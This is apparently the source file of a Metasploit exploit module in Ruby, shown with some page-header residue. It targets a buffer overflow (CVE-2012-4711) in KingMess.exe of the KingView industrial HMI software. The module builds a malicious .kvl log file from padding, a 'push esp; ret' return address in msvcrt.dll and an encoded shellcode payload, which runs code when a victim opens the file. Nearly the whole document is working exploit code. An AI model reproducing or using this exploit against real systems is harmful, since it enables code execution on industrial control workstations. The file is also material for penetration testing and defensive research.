85 lines
2.6 KiB
Ruby
85 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info={})
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super(update_info(info,
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'Name' => "KingView Log File Parsing Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in KingView <= 6.55. It exists in
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the KingMess.exe application when handling log files, due to the insecure usage of
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sprintf. This module uses a malformed .kvl file which must be opened by the victim
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via the KingMess.exe application, through the 'Browse Log Files' option. The module
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has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
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Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Lucas Apa', # Vulnerability discovery
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'Carlos Mario Penagos Hollman', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2012-4711'],
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['OSVDB', '89690'],
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['BID', '57909'],
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['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf']
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],
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'Payload' =>
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{
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'Space' => 1408,
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'DisableNops' => true,
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'BadChars' => "\x00\x0a\x0d",
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
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{
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'Offset' => 295,
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'Ret' => 0x77c35459 # push esp # ret # msvcrt.dll
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Nov 20 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [true, 'The filename', 'msf.kvl'])
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], self.class)
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end
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def exploit
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version = "6.00"
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version << "\x00" * (0x90 - version.length)
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entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01"
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entry << rand_text_alpha(target['Offset'])
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entry << [target.ret].pack("V")
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entry << rand_text_alpha(16)
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entry << payload.encoded
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kvl_file = version
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kvl_file << entry
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file_create(kvl_file)
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end
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end
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